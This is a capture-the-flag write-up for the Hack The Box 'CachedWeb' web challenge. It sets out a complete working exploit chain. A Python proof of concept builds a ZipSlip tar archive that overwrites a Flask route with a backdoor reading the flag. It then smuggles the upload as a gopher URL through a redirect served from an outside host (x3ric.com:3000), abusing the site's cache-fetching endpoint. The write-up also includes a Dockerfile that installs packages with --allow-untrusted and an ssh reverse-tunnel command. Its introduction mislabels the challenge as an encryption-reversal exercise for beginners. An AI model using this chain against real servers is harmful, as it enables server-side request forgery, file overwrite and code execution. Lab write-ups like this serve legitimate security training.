HackTheBox CachedWeb Challenge
Explore the basics of cybersecurity in the CachedWeb Challenge on Hack The Box. This medium-level Challenge introduces encryption reversal and file handling concepts in a clear and accessible way, perfect for beginners.
https://app.hackthebox.com/challenges/503
Description#
I made a service for people to cache their favourite websites, come and check it out!
Exploitation#
The docker build produced library errors in ./configure --with-ssl --prefix=/usr/local during compilation, so I used a repository that provided the required pkg curl 7.52.1.
Get an alphine shell to test and find the errors
docker run --rm -it python:3-alpine sh
Fixed Dockerfile
FROM python:3-alpine
# Install packages
RUN apk add --update --no-cache chromium chromium-chromedriver supervisor openssl build-base
# Install & compile curl 7.52
#RUN cd /usr/local/
#RUN apk add curl
#RUN apk add --no-cache gcc musl-dev curl-dev python3-dev libffi-dev openssl-dev
#RUN wget https://curl.haxx.se/download/curl-7.52.0.tar.gz && tar xfz curl-7.52.0.tar.gz z
#RUN cd curl-7.52.0/ && ./configure --with-ssl --prefix=/usr/local && make -j 16 && make install
#RUN export PYCURL_CURL_CONFIG=/usr/local/bin/curl-config
#RUN ln -s /usr/local/lib/libcurl.so.4 /usr/lib/libcurl.so.4
# https://mirrors.ircam.fr/pub/alpine/v3.2/main/x86_64/
RUN echo "https://mirrors.ircam.fr/pub/alpine/v3.2/main" >> /etc/apk/repositories && \
apk update && \
apk add --no-cache --allow-untrusted libcrypto1.0 libssl1.0 curl=7.52.1-r1 curl-dev=7.52.1-r1
# Cleanup
#RUN rm -rf curl-*
# Upgrade pip
RUN python -m pip install --upgrade pip
# Install dependencies
RUN pip install pycurl selenium Flask
# Setup app
RUN mkdir -p /app
# Switch working environment
WORKDIR /app
# Add application
COPY challenge .
# Setup supervisor
COPY config/supervisord.conf /etc/supervisord.conf
# Expose port the server is reachable on
EXPOSE 1337
# Disable pycache
ENV PYTHONDONTWRITEBYTECODE=1
# Run supervisord
CMD ["/usr/bin/supervisord", "-c", "/etc/supervisord.conf"]
Use a vps to fwd local port 3000 to the vps with open ports or use something like ngrok
ssh -N -R 3000:localhost:3000 server
Poc
import tarfile, time, io
routes = '''
from flask import Blueprint
web = Blueprint('web', __name__)
api = Blueprint('api', __name__)
@web.route('/')
def f(): return open('/app/flag').read()
'''
zipslip = io.BytesIO()
tar = tarfile.open(fileobj=zipslip, mode='w:gz')
info = tarfile.TarInfo('../app/application/blueprints/routes.py')
info.mtime = time.time()
info.size = len(routes)
tar.addfile(info, io.BytesIO(routes.encode()))
tar.close()
body=b''.join([
b'--htb\r\n',
b'Content-Disposition: form-data; name="file"; filename="htb.tar"\r\n',
b'Content-Type: application/x-tar\r\n\r\n',
zipslip.getvalue(),b'\r\n',
b'--htb--\r\n'
])
req=(b'POST /api/upload HTTP/1.1\r\n'
b'Host: 127.0.0.1:1337\r\n'
b'Content-Type: multipart/form-data; boundary=htb\r\n'
b'Connection: close\r\n'
b'Content-Length: '+str(len(body)).encode()+b'\r\n\r\n')+body
print(req.decode('latin-1','replace'))
from urllib.parse import quote_from_bytes
url='gopher://127.0.0.1:1337/_'+quote_from_bytes(req,safe='')
print(url)
import threading,json,urllib.request,time
from http.client import RemoteDisconnected
from http.server import BaseHTTPRequestHandler,HTTPServer
class H(BaseHTTPRequestHandler):
def log_message(self,*a,**k): pass
def do_GET(self):
self.send_response(302)
self.send_header("Location",url)
self.send_header("Connection","close")
self.send_header("Content-Length","0")
self.end_headers()
threading.Timer(0.2,self.server.shutdown).start()
httpd=HTTPServer(("0.0.0.0",3000),H)
threading.Thread(target=httpd.serve_forever,daemon=True).start()
target='http://localhost:1337'
remote='x3ric.com:3000'
data=json.dumps({"url":f"http://foo@{remote}@google.com/"}).encode()
req=urllib.request.Request(target+"/api/cache",data=data,headers={"Content-Type":"application/json"})
try:
with urllib.request.urlopen(req,timeout=10) as r: r.read(1)
except RemoteDisconnected: pass
time.sleep(0.3)
httpd.server_close()
with urllib.request.urlopen(target,timeout=10) as r:
print('\n'+str(r.getcode()),r.read(200))
Summary#
The CachedWeb challenge on Hack The Box is a medium-level web challenge that involves exploiting a ZipSlip vulnerability and abusing Flask’s debug auto-reload feature. Participants craft a malicious .tar.gz archive that uses directory traversal to overwrite a critical Flask route with a backdoored version, then trigger server-side code execution by hosting the payload via an HTTP server and redirecting a cache-fetching endpoint to a gopher URL. This allows bypassing restrictions on direct internal POST requests. The challenge demonstrates the danger of unsafe archive extraction combined with insecure server configurations, highlighting the importance of input sanitization and disabling Flask debug mode in production.